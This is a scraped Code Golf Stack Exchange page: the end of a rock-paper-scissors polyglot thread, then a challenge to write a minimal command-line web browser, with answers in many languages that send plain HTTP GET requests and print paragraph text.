a="KRS".index(input()[-1]) print["SCISSORS","ROCK","PAPER"][a] ``` Posted in TNB as a [challenge](http://chat.stackexchange.com/transcript/message/36669654#36669654), I decided to try out this combination of languages. ### ><> [Try it online!](https://tio.run/nexus/fish#@69cphTgGOAapFRmr2qia1StFOzsGRzsHxQMEjCyyuRStssHAWsFCA0ENkpB/s7eSnU2XIm2St5AlXqZeSmpFRqZeQWlJRqa0bqGsZpcBUWZeSXRCNN0IJp0oLbFRifG/v8PZgMA "><> – TIO Nexus") The IP starts moving right. ``` # Reflect the IP so that it now moves left and it wraps around the grid i: Take one character as input and duplicate it ``` The possible characters that will be taken into the input are `PRS` (since the program only takes the first character). Their ASCII-values are `80`, `81` and `82`. ``` 2% Take the modulo 2 of the character. Yields 0, 1, 0 for P, R, S respectively ?v If this value is non-zero (ie the input was ROCK), go down, otherwise skip this instruction ``` If the input was rock, then this is what would happen: ``` < Start moving to the left ~ Pop the top most value on the stack (which is the original value of R and not the duplicate) "KCOR" Push these characters onto the stack < Move left oooo Output "ROCK" as characters (in turn these characters are popped) o Pop the top value on the stack and output it; but since the stack is empty, the program errors out and exits promptly. ``` Otherwise, if the input was `SCISSORS` or `PAPER`, this is what the IP would encounter: ``` "SROSSICS" Push these characters onto the stack { Shift the stack, so the the original value of the first char of the input would come to the top 2-4% Subtract 2 and take modulo 4 of the ASCII-value (yields 2, 0 for P, S respectively) ?v If it is non-zero, go down, otherwise skip this instruction ``` If the input was `PAPER`, then: ``` >ooooooooo Output all characters on the stack (ie "SCISSORS") < Start moving left o Pop a value on the stack and output it; since the stack is empty, this gives an error and the program exits. ``` Otherwise (if the input was `SCISSORS`): ``` "REPAP" Push these characters onto the stack v>ooooo; Output them and exit the program (without any errors). ``` ### Retina [Try it online!](https://tio.run/nexus/retina#@69cphTgGOAapFRmr2qia1StFOzsGRzsHxQMEjCyyuRStssHAWsFCA0ENkpB/s7eSnU2XIm2St5AlXqZeSmpFRqZeQWlJRqa0bqGsZpcBUWZeSXRCNN0IJp0oLbFRifG/v8PZgMA "Retina – TIO Nexus") In this case, Retina considers each pair of two lines as a pair of a match and substitution. For example, it tries to replace anything matching the first line with the second line, but since the first line is never matched, it never substitutes it with anything, thus preserving the input. ### Python 2 [Try it online!](https://tio.run/nexus/python2#@69cphTgGOAapFRmr2qia1StFOzsGRzsHxQMEjCyyuRStssHAWsFCA0ENkpB/s7eSnU2XIm2St5AlXqZeSmpFRqZeQWlJRqa0bqGsZpcBUWZeSXRCNN0IJp0oLbFRifG/v8P5QAA "Python 2 – TIO Nexus") The Python program requires input to be put in between `"`s. The first two lines are comments in Python. ``` a="KRS".index(input()[-1]) # Get the index of the last character of the input in "KRS" print["SCISSORS","ROCK","PAPER"][a] # Print the ath index of that array ``` [Answer] # Ruby, Clojure, Common Lisp - 251 bytes ``` (print(eval '(if()({(quote SCISSORS)(quote PAPER)(quote PAPER)(quote ROCK)(quote ROCK)(quote SCISSORS)}(read))(eval(quote(nth(position(read)(quote("SCISSORS""PAPER""ROCK")):test(quote string-equal))(quote(ROCK SCISSORS PAPER)))))))) ;'['"'+gets+'"'])) ``` More readable version with whitespaces: ``` (print(eval '(if() ; distinguish between CLojure and Common Lisp ({(quote SCISSORS)(quote PAPER)(quote PAPER) (quote ROCK)(quote ROCK)(quote SCISSORS)}(read)) ; use hash-map as a function (eval(quote(nth ; find index of the input arg in the list (position(read)(quote("SCISSORS""PAPER""ROCK")):test(quote string-equal)) (quote(ROCK SCISSORS PAPER)))))))) ;'['"'+gets+'"'])) ; ruby indexation ``` Clojure always wins, Ruby always draws, Common Lisp always loses. For Ruby everything inside `'`s is a string. It spans across two lines. Then it uses `[]` operator with a string argument which return the string itself if it's present in the string. The result is printed out, Ruby just mirrors the input. The second line is a comment for Clojure and Common Lisp. A bunch of `eval` and `quote` has to be used because Clojure needs to make sure that all symbols are valid. It would be nice to reuse code more but even `nth` function have different signatures in these languages. Basically for Clojure `if()` evaluates to true and it goes to the first branch when a hash-map of possible variants is called with argument read from stdin. Common Lisp goes to the second branch, it finds the position of the argument from stdin in the list and returns corresponding item from the resulting list. I guess Common Lisp part can be golfed more. See it online: [Ruby](http://ideone.com/pKrbKg "Ruby") , [Common Lisp](http://ideone.com/1JaH0z "Common Lisp") , [Clojure](http://ideone.com/d1E3cR "Clojure") [Answer] # Scala, Javascript and Ook, 167 bytes ``` s=>{var a="paper,scissors,rock".split(",")/*/**/a[-1]="rock" return a[a.indexOf(s)-1];`*/a((a.indexOf(s)+1)%3)//`//Ook. Ook. Ook! Ook? Ook. Ook! Ook! Ook. Ook? Ook! } ``` [Try it in Scala](https://ideone.com/PD0zyf) [Try it in Javascript](https://jsfiddle.net/hq2Lecun/1/) [Try the brainfuck version of Ook](https://tio.run/nexus/brainfuck#@68TracT@/9/UX5yNgA) ### Scala - wins ``` s=>{ //define an anonymous function var a="paper,scissors,rock".split(",") //generate the array /* /* */ a[-1]="rock" //scala supports nested comments, return a[a.indexOf(s)-1];` //so this comment... */ //...ends here a((a.indexOf(s)+1)%3) //return the winning string //`//Ook. Ook. Ook! Ook? Ook. Ook! Ook! Ook. Ook? Ook! //another comment } ``` ### Javascript - loses ``` s=>{ //define an anonymous function var a="paper,scissors,rock".split(",") //generate the array /*/**/ //a comment a[-1]="rock" //put "rock" at index -1 return a[a.indexOf(s)-1]; //return the string that loses `*/a((a.indexOf(s)+1)%3)//` //a string //Ook. Ook. Ook! Ook? Ook. Ook! Ook! Ook. Ook? Ook! //a comment } ``` ### Ook! - ties The Ook part is the simple brainfuck cat program `,[.,]` tranlsated to Ook. ``` s=>{var a="paper,scissors,rock".split(",")/*/**/a[-1]="rock" //random stuff return a[a.indexOf(s)-1];`*/a((a.indexOf(s)+1)%3)//`// //more random stuff Ook. Ook. Ook! Ook? Ook. Ook! Ook! Ook. Ook? Ook! //the program } //random stuff ``` ]
[Question] [ **Backstory:** > > You enjoy your new programming job at a mega-multi-corporation. However, you aren't allowed to browse the web since your computer only has a CLI. They also run sweeps of all employees' hard drives, so you can't simply download a large CLI web browser. You decide to make a simple textual browser that is as small as possible so you can memorize it and type it into a temporary file every day. > > > **Challenge:** Your task is to create a golfed web browser within a command-line interface. It should: * Take a single URL in via args or stdin * Split the `directory` and `host` components of the URL * Send a simple HTTP request to the `host` to request the said `directory` * Print the contents of any `<p>` paragraph `</p>` tags * And either exit or ask for another page **More Info:** A simple HTTP request looks like this: ``` GET {{path}} HTTP/1.1 Host: {{host}} Connection: close \n\n ``` Ending newlines emphasized. A typical response looks like: ``` HTTP/1.1 200 OK\n <some headers separated by newlines> \n\n <html> ....rest of page ``` **Rules:** * It only needs to work on port 80 (no SSL needed) * You may not use netcat * **Whatever programming language is used, only low-level TCP APIs are allowed (except netcat)** * You may **not** use GUI, remember, it's a CLI * You may not use HTML parsers, except builtin ones (BeautifulSoup is not a builtin) * **Bonus!!** If your program loops back and asks for another URL instead of exiting, -40 chars (as long as you don't use recursion) * No third-party programs. Remember, you can't install anything. * [code-golf](/questions/tagged/code-golf "show questions tagged 'code-golf'"), so the shortest byte count wins [Answer] # Pure Bash (no utilities), 200 bytes - 40 bonus = 160 ``` while read u;do u=${u#*//} d=${u%%/*} exec 3<>/dev/tcp/$d/80 echo "GET /${u#*/} HTTP/1.1 host:$d Connection:close ">&3 mapfile -tu3 A a=${A[@]} a=${a#*<p>} a=${a%</p>*} echo "${a//<\/p>*<p>/" "}" done ``` I think this is up to the spec, though of course watch out for [parsing HTML using regex](https://stackoverflow.com/questions/1732348/regex-match-open-tags-except-xhtml-self-contained-tags/1732454#1732454) I think the only thing worse than parsing HTML using regex is parsing HTML using shell pattern matching. This now deals with `<p>...</p>` spanning multiple lines. Each `<p>...</p>` is on a separate line of output: ``` $ echo "http://example.com/" | ./smallbrowse.sh This domain is established to be used for illustrative examples in documents. You may use this domain in examples without prior coordination or asking for permission. <a href="http://www.iana.org/domains/example">More information...</a> $ ``` [Answer] # PHP, 175 bytes (215 - 40 bonus) ~~227~~ ~~229~~ ~~239~~ ~~202~~ ~~216~~ ~~186~~ bytes Have fun browsing the web: ``` for(;$i=parse_url(trim(fgets(STDIN))),fwrite($f=fsockopen($h=$i[host],80),"GET $i[path] HTTP/1.1 Host:$h Connection:Close ");preg_match_all('!<p>(.+?)</p>!si',stream_get_contents($f),$r),print join(" ",$r[1])." "); ``` Reads URLs from `STDIN` like `http://www.example.com/`. Outputs paragraphs separated by newline "`\n`". --- **Ungolfed** ``` for(; $i=parse_url(trim(fgets(STDIN))); ) { $h = $i['host']; $f = fsockopen($h, 80); fwrite($f, "GET " . $i['path'] . " HTTP/1.1\nHost:" . $h . "\nConnection:Close\n\n"); $c = stream_get_contents($f) preg_match_all('!<p>(.+?)</p>!si', $c, $r); echo join("\n", $r[1]) . "\n"; } ``` --- **First version supporting one URL only** ``` $i=parse_url($argv[1]);fwrite($f=fsockopen($h=$i[host],80),"GET $i[path] HTTP/1.1\nHost:$h\nConnection:Close\n\n");while(!feof($f))$c.=fgets($f);preg_match_all('!<p>(.+?)</p>!sim',$c,$r);foreach($r[1]as$p)echo"$p\n"; ``` --- [![enter image description here](https://i.stack.imgur.com/anFLD.gif)](https://i.stack.imgur.com/anFLD.gif) --- **Edits** * As pointed out in the comments by [Braintist](https://codegolf.stackexchange.com/users/30402/briantist), I totally forgot to include the path. That's fixed now, thanks. *Added* **30 bytes**. * *Saved* **3 bytes** by resetting `$c` (holds the page content) with `$c=$i=parse_url(trim(fgets(STDIN)));` instead of `$c=''`. * *Saved* **12 bytes** by replacing `\n` with new lines (5 bytes), one `while`-loop with `for` (2 bytes), placing nearly everything into the expressions of `for` (2 bytes) and by replacing `foreach` with `join` (3 bytes). Thanks to [Blackhole](https://codegolf.stackexchange.com/users/11713/blackhole). * *Saved* **3 bytes** by replacing `fgets` with `stream_get_contents` Thanks to [bwoebi](https://codegolf.stackexchange.com/users/9409/bwoebi). * *Saved* **5 bytes** by removing ~~the re-initialization of `$c` as it isn't needed anymore~~ `$c` at all. * *Saved* **1 byte** by removing the pattern modifier `m` from the Regex. Thanks to [manatwork](https://codegolf.stackexchange.com/users/4198/manatwork) [Answer] ## Perl, 132 bytes **155 bytes code + 17 for `-ln -MIO::Socket` - 40 for continually asking for URLs** As with @DigitalTrauma's answer, regex parsing HTML, let me know if that's not acceptable. Doesn't keep parsing URLs any more... I'll look at that later... Close to Bash though! Big thanks to @[Schwern](https://codegolf.stackexchange.com/users/32914/schwern) for saving me 59 (!) bytes and to @[skmrx](https://codegolf.stackexchange.com/users/45754/skmrx) for fixing the bug to allow a claim of the bonus! ``` m|(http://)?([^/]+)(/(\S*))?|;$s=new IO::Socket::INET"$2:80";print$s "GET /$4 HTTP/1.1 Host:$2 Connection:close ";local$/=$,;print<$s>=~m|<p>(.+?)</p>|gs ``` ### Usage ``` $perl -ln -MIO::Socket -M5.010 wb.pl example.com This domain is established to be used for illustrative examples in documents. You may use this domain in examples without prior coordination or asking for permission.<a href="http://www.iana.org/domains/example">More information...</a> example.org This domain is established to be used for illustrative examples in documents. You may use this domain in examples without prior coordination or asking for permission.<a href="http://www.iana.org/domains/example">More information...</a> ``` [Answer] # PowerShell, ~~315 294 268 262~~ 254 bytes ### ~~355 334 308 302~~ 294 - 40 for prompt ``` $u=[uri]$args[0] for(){ $h=$u.Host $s=[Net.Sockets.TcpClient]::new($h,80).GetStream() $r=[IO.StreamReader]::new($s) $w=[IO.StreamWriter]::new($s) $w.Write("GET $($u.PathAndQuery) HTTP/1.1 HOST: $h ") $w.Flush() ($r.ReadToEnd()|sls '(?s)(?<=<p>).+?(?=</p>)'-a).Matches.Value [uri]$u=Read-Host } ``` **Requires PowerShell v5** All line endings (including the ones embedded in the string) are newlines only `\n` (thanks [Blackhole](https://codegolf.stackexchange.com/users/11713/blackhole)) which is fully supported by PowerShell (but if you're testing, be careful; ISE uses `\r\n`). [Answer] Bash (might be cheating but seems to be within rules) 144-40=105 ``` while read a;do u=${a#*//} d=${u%%/*} e=www.w3.org exec 3<>/dev/tcp/$d/80 echo "GET /services/html2txt?url=$a HTTP/1.1 Host:$d ">&3 cat <&3 done ``` Thanks to Digital Trauma. Since I don't need to split URL, this also works: 122-40=82 ``` while read a;do d=www.w3.org exec 3<>/dev/tcp/$d/80 echo "GET /services/html2txt?url=$a HTTP/1.1 Host:$d ">&3 cat <&3 done ``` [Answer] # Groovy script, ~~89~~, 61 bytes Loop back for bonus 101- **40** = 61 ``` System.in.eachLine{l->l.toURL().text.findAll(/<p>(?s)(.*?)<\/p>/).each{println it[3..it.length()-5]}} ``` With just args, **89** bytes ``` this.args[0].toURL().text.findAll(/<p>(?s)(.*?)<\/p>/).each{println it[3..it.length()-5]} ``` [Answer] ## Ruby, 118 147 bytes source; 11 bytes '`-lprsocket`'; -40 bytes for looping. ``` *_,h,p=$_.split'/',4 $_=(TCPSocket.new(h,80)<<"GET /#{p} HTTP/1.1 Host:#{h} Connection:close ").read.gsub(/((\A|<\/p>).*?)?(<p>|\Z)/mi,' ').strip ``` ### Usage example: ``` $ ruby -lprsocket wb.rb http://example.org/ This domain is established to be used for illustrative examples in documents. You may use this domain in examples without prior coordination or asking for permission. <a href="http://www.iana.org/domains/example">More information...</a> http://www.xkcd.com/1596/ Warning: this comic occasionally contains strong language (which may be unsuitable for children), unusual humor (which may be unsuitable for adults), and advanced mathematics (which may be unsuitable for liberal-arts majors). This work is licensed under a <a href="http://creativecommons.org/licenses/by-nc/2.5/">Creative Commons Attribution-NonCommercial 2.5 License</a>. This means you're free to copy and share these comics (but not to sell them). <a rel="license" href="/license.html">More details</a>. ``` [Answer] ## C 512 Bytes ``` #include <netdb.h> int main(){char i,S[999],b[99],*p,s=socket(2,1,0),*m[]={"<p>","</p>"};long n; gets(S);p=strchr(S,'/');*p++=0;struct sockaddr_in a={0,2,5<<12};memcpy(&a. sin_addr,gethostbyname(S)->h_addr,4);connect(s,&a,16);send(s,b,sprintf(b, "GET /%s HTTP/1.0\r\nHost:%s\r\nAccept:*/*\r\nConnection:close\r\n\r\n",p,S),0); p=m[i=0];while((n=recv(s,b,98,0))>0)for(char*c=b;c<b+n;c++){while(*c==*p &&*++p) c++;if(!*p)p=m[(i=!i)||puts("")];else{while(p>m[i]){if(i)putchar(c[m[i]-p]);p--;} if(i)putchar(*c);}}} ``` Based loosely on my entry [here](https://codegolf.stackexchange.com/a/44592/152), It takes the web address without a leading "https://". It will not handle nested `<p>` pairs correctly :( Tested extensively on `www.w3.org/People/Berners-Lee/` It works when compiled with `Apple LLVM version 6.1.0 (clang-602.0.53) / Target: x86_64-apple-darwin14.1.1` It has enough undefined behavior that it may not work anywhere else. [Answer] # [AutoIt](http://autoitscript.com/forum), 347 bytes ``` Func _($0) $4=StringTrimLeft $0=$4($0,7) $3=StringSplit($0,"/")[1] TCPStartup() $2=TCPConnect(TCPNameToIP($3),80) TCPSend($2,'GET /'&$4($0,StringLen($3))&' HTTP/1.1'&@LF&'Host: '&$3&@LF&'Connection: close'&@LF&@LF) $1='' Do $1&=TCPRecv($2,1) Until @extended For $5 In StringRegExp($1,"(?s)\Q<p>\E(.*?)(?=\Q</p>\E)",3) ConsoleWrite($5) Next EndFunc ``` ### Testing Input: ``` _('http://www.autoitscript.com') ``` Output: ``` You don't have permission to access /error/noindex.html on this server. ``` Input: ``` _('http://www.autoitscript.com/site') ``` Output: ``` The document has moved <a href="https://www.autoitscript.com/site">here</a>. ``` ### Remarks * Doesn't support nested `<p>` tags * Supports only `<p>` tags (case-insensitive), will break on every other tag format * ~~Panics~~ Loops indefinitely when any error occurs [Answer] # C#, 727 Bytes - 40 = 687 Bytes ``` using System.Text.RegularExpressions;class P{static void Main(){a:var i=System.Console.ReadLine();if(i.StartsWith("http://"))i=i.Substring(7);string p="/",h=i;var l=i.IndexOf(p); if(l>0){h=i.Substring(0,l);p=i.Substring(l,i.Length-l);}var c=new System.Net.Sockets.TcpClient(h,80);var e=System.Text.Encoding.ASCII;var d=e.GetBytes("GET "+p+@" HTTP/1.1 Host: "+h+@" Connection: close ");var s=c.GetStream();s.Write(d,0,d.Length);byte[]b=new byte[256],o;var m=new System.IO.MemoryStream();while(true){var r=s.Read(b,0,b.Length);if(r<=0){o=m.ToArray();break;}m.Write(b,0,r);}foreach (Match x in new Regex("<p>(.+?)</p>",RegexOptions.Singleline).Matches(e.GetString(o)))System.Console.WriteLine(x.Groups[1].Value);goto a;}} ``` It's a little bit of training but surely memorable :) Here is an ungolfed version: ``` using System.Text.RegularExpressions; class P { static void Main() { a: var input = System.Console.ReadLine(); if (input.StartsWith("http://")) input = input.Substring(7); string path = "/", hostname = input; var firstSlashIndex = input.IndexOf(path); if (firstSlashIndex > 0) { hostname = input.Substring(0, firstSlashIndex); path = input.Substring(firstSlashIndex, input.Length - firstSlashIndex); } var tcpClient = new System.Net.Sockets.TcpClient(hostname, 80); var asciiEncoding = System.Text.Encoding.ASCII; var dataToSend = asciiEncoding.GetBytes("GET " + path + @" HTTP/1.1 Host: " + hostname + @" Connection: close "); var stream = tcpClient.GetStream(); stream.Write(dataToSend, 0, dataToSend.Length); byte[] buff = new byte[256], output; var ms = new System.IO.MemoryStream(); while (true) { var numberOfBytesRead = stream.Read(buff, 0, buff.Length); if (numberOfBytesRead <= 0) { output = ms.ToArray(); break; } ms.Write(buff, 0, numberOfBytesRead); } foreach (Match match in new Regex("<p>(.+?)</p>", RegexOptions.Singleline).Matches(asciiEncoding.GetString(output))) { System.Console.WriteLine(match.Groups[1].Value); goto a; } } } ``` As you can see, there are memory leak issues as a bonus :) [Answer] ## JavaScript (NodeJS) - ~~187~~ 166 ``` s=require("net").connect(80,p=process.argv[2],_=>s.write("GET / HTTP/1.0\nHost: "+p+"\n\n")&s.on("data",d=>(d+"").replace(/<p>([^]+?)<\/p>/g,(_,g)=>console.log(g)))); ``` 187: ``` s=require("net").connect(80,p=process.argv[2],_=>s.write("GET / HTTP/1.1\nHost: "+p+"\nConnection: close\n\n")&s.on("data",d=>(d+"").replace(/<p>([^]+?)<\/p>/gm,(_,g)=>console.log(g)))); ``` Usage: ``` node file.js www.example.com ``` Or formatted ``` var url = process.argv[2]; s=require("net").connect(80, url ,_=> { s.write("GET / HTTP/1.1\nHost: "+url+"\nConnection: close\n\n"); s.on("data",d=>(d+"").replace(/<p>([^]+?)<\/p>/gm,(_,g)=>console.log(g))) }); ``` [Answer] # Python 2 - ~~212~~ 209 bytes ``` import socket,re h,_,d=raw_input().partition('/') s=socket.create_connection((h,80)) s.sendall('GET /%s HTTP/1.1\nHost:%s\n\n'%(d,h)) p='' while h:h=s.recv(9);p+=h for g in re.findall('<p>(.*?)</p>',p):print g ``` [Answer] # Python 2, 187 - 40 = 147 (141 in a REPL) Compressed and looped version of [Zac's answer](https://codegolf.stackexchange.com/a/62003/4999): ``` import socket,re while 1:h,_,d=raw_input().partition('/');s=socket.create_connection((h,80));s.sendall('GET /%s HTTP/1.1\nHost:%s\n\n'%(d,h));print re.findall('<p>(.*?)</p>',s.recv(9000)) ``` Example: ``` dictionary.com ['The document has moved <a href="http://dictionary.reference.com/">here</a>.'] dictionary.reference.com [] paragraph.com [] rare.com [] ``` Actually useful is this: # 207 - 40 = 167 ``` import socket,re while 1:h,_,d=raw_input().partition('/');s=socket.create_connection((h,80));s.sendall('GET /%s HTTP/1.1\nHost:%s\n\n'%(d,h));print'\n'.join(re.findall('<p>(.*?)</p>',s.recv(9000),re.DOTALL)) ``` Example: ``` example.org This domain is established to be used for illustrative examples in documents. You may use this domain in examples without prior coordination or asking for permission. <a href="http://www.iana.org/domains/example">More information...</a> www.iana.org/domains/example The document has moved <a href="/domains/reserved">here</a>. www.iana.org/domains/reserved dictionary.com The document has moved <a href="http://dictionary.reference.com/">here</a>. dictionary.reference.com catb.org <a href="http://validator.w3.org/check/referer"><img src="http://www.w3.org/Icons/valid-xhtml10" alt="Valid XHTML 1.0!" height="31" width="88" /></a> This is catb.org, named after (the) Cathedral and the Bazaar. Most of it, under directory esr, is my personal site. In theory other people could shelter here as well, but this has yet to occur. catb.org/jargon The document has moved <a href="http://www.catb.org/jargon/">here</a>. www.catb.org/jargon/ This page indexes all the WWW resources associated with the Jargon File and its print version, <cite>The New Hacker's Dictionary</cite>. It's as official as anything associated with the Jargon File gets. On 23 October 2003, the Jargon File achieved the dubious honor of being cited in the SCO-vs.-IBM lawsuit. See the <a href='html/F/FUD.html'>FUD</a> entry for details. www.catb.org/jargon/html/F/FUD.html Defined by Gene Amdahl after he left IBM to found his own company: &#8220;<span class="quote">FUD is the fear, uncertainty, and doubt that IBM sales people instill in the minds of potential customers who might be considering [Amdahl] products.</span>&#8221; The idea, of course, was to persuade them to go with safe IBM gear rather than with competitors' equipment. This implicit coercion was traditionally accomplished by promising that Good Things would happen to people who stuck with IBM, but Dark Shadows loomed over the future of competitors' equipment or software. See <a href="../I/IBM.html"><i class="glossterm">IBM</i></a>. After 1990 the term FUD was associated increasingly frequently with <a href="../M/Microsoft.html"><i class="glossterm">Microsoft</i></a>, and has become generalized to refer to any kind of disinformation used as a competitive weapon. [In 2003, SCO sued IBM in an action which, among other things, alleged SCO's proprietary control of <a href="../L/Linux.html"><i class="glossterm">Linux</i></a>. The SCO suit rapidly became infamous for the number and magnitude of falsehoods alleged in SCO's filings. In October 2003, SCO's lawyers filed a <a href="http://www.groklaw.net/article.php?story=20031024191141102" target="_top">memorandum</a> in which they actually had the temerity to link to the web version of <span class="emphasis"><em>this entry</em></span> in furtherance of their claims. Whilst we appreciate the compliment of being treated as an authority, we can return it only by observing that SCO has become a nest of liars and thieves compared to which IBM at its historic worst looked positively angelic. Any judge or law clerk reading this should surf through to <a href="http://www.catb.org/~esr/sco.html" target="_top">my collected resources</a> on this topic for the appalling details.&#8212;ESR] ``` [Answer] # gawk, 235 - 40 = 195 bytes ``` {for(print"GET "substr($0,j)" HTTP/1.1\nHost:"h"\n"|&(x="/inet/tcp/0/"(h=substr($0,1,(j=index($0,"/"))-1))"/80");(x|&getline)>0;)w=w RS$0 for(;o=index(w,"<p>");w=substr(w,c))print substr(w=substr(w,o+3),1,c=index(w,"/p>")-2) close(x)} ``` Golfed it down, but this is a more unforgiving version, which needs the web address without `http://` at the beginning. And if you want to access the root directory you have to end the address with a `/`. Furthermore the `<p>` tags have to be lower case. My earlier version actually didn't handle lines containing `</p><p>` correctly. This is now fixed. ### Output for input `example.com/` ``` This domain is established to be used for illustrative examples in documents. You may use this domain in examples without prior coordination or asking for permission. <a href="http://www.iana.org/domains/example">More information...</a> ``` Still doesn't work with Wikipedia. I think the reason is that Wikipedia uses `https` for everything. But I don't know. The following version is a little more forgiving with the input and it can handle upper case tags as well. ``` IGNORECASE=1{ s=substr($0,(i=index($0,"//"))?i+2:0) x="/inet/tcp/0/"(h=(j=index(s,"/"))?substr(s,1,j-1):s)"/80" print"GET "substr(s,j)" HTTP/1.1\nHost:"h"\nConnection:close\n"|&x while((x|&getline)>0)w=w RS$0 for(;o=index(w,"<p>");w=substr(w,c)) print substr(w=substr(w,o+3),1,c=index(w,"/p>")-2) close(x) } ``` I'm not sure about the `"Connection:close"` line. Doesn't seem to be mandatory. I couldn't find an example that would work different with or without it. [Answer] **Powershell(4) 240** ``` $input=Read-Host "" $url=[uri]$input $dir=$url.LocalPath Do{ $res=Invoke-WebRequest -URI($url.Host+"/"+$dir) -Method Get $res.ParsedHtml.getElementsByTagName('p')|foreach-object{write-host $_.innerText} $dir=Read-Host "" }While($dir -NE "") ``` Ungolfed (proxy is not required) ``` $system_proxyUri=Get-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Internet Settings" -Name ProxyServer $proxy = [System.Net.WebRequest]::GetSystemWebProxy() $proxyUri = $proxy.GetProxy($system_proxyUri.ProxyServer) $input = Read-Host "Initial url" #$input="http://stackoverflow.com/questions/tagged/powershell" $url=[uri]$input $dir=$url.LocalPath Do{ $res=Invoke-WebRequest -URI($url.Host+"/"+$dir) -Method Get -Proxy($proxyUri) $res.ParsedHtml.getElementsByTagName('p')|foreach-object{write-host $_.innerText} $dir=Read-Host "next dir" }While($dir -NE "") ``` edit\* also not to hard to memorize ^^ [Answer] # [Java (OpenJDK 15)](http://openjdk.java.net/), 790 bytes - 40 bytes = 750 bytes ``` import java.io.*;import java.net.*;import java.util.*;import java.util.regex.*;interface A{static void main(String[]a)throws IOException{Pattern p=Pattern.compile("<p(.*?)>(.*?)</p>",Pattern.DOTALL);Matcher m;while(true){URL u=new URL(new Scanner(System.in).nextLine());Socket s=new Socket(u.getHost(),80);PrintStream ps=new PrintStream(s.getOutputStream());BufferedReader b=new BufferedReader(new InputStreamReader(s.getInputStream()));ps.print("GET "+(u.getPath().length()==0?"/":u.getPath())+" HTTP/1.1\r\nHost: "+u.getHost()+"\r\nConnection: close\r\n\r\n");var l=b.readLine();var r=new StringBuilder();while(l!=null){l=b.readLine();r.append(l).append("\n");}m=p.matcher(r);while(m.find()){System.out.println(m.group().replaceAll("<p(.*?)>|</p>",""));}ps.close();b.close();s.close();}}} ``` Ungolfed version: ``` package rocks.sech1p; import java.io.*; import java.net.*; import java.util.*; import java.util.regex.*; public class Main { public static void main(String[] args) throws IOException { Scanner input = new Scanner(System.in); Pattern pattern = Pattern.compile("<p(.*?)>(.*?)</p>", Pattern.DOTALL); Matcher match; while(true) { URL url = new URL(input.nextLine()); Socket socket = new Socket(url.getHost(), 80); PrintStream printstream = new PrintStream(socket.getOutputStream()); BufferedReader buffer = new BufferedReader(new InputStreamReader(socket.getInputStream())); printstream.print("GET " + (url.getPath().length() == 0 ? "/" : url.getPath()) + " HTTP/1.1\r\nHost: " + url.getHost() + "\r\nConnection: close\r\n\r\n"); String line = buffer.readLine(); StringBuilder response = new StringBuilder(); while (line != null) { line = buffer.readLine(); response.append(line).append("\n"); } match = pattern.matcher(response); while(match.find()) System.out.println(match.group().replaceAll("<p(.*?)>|</p>", "")); printstream.close(); buffer.close(); socket.close(); } } } ``` ]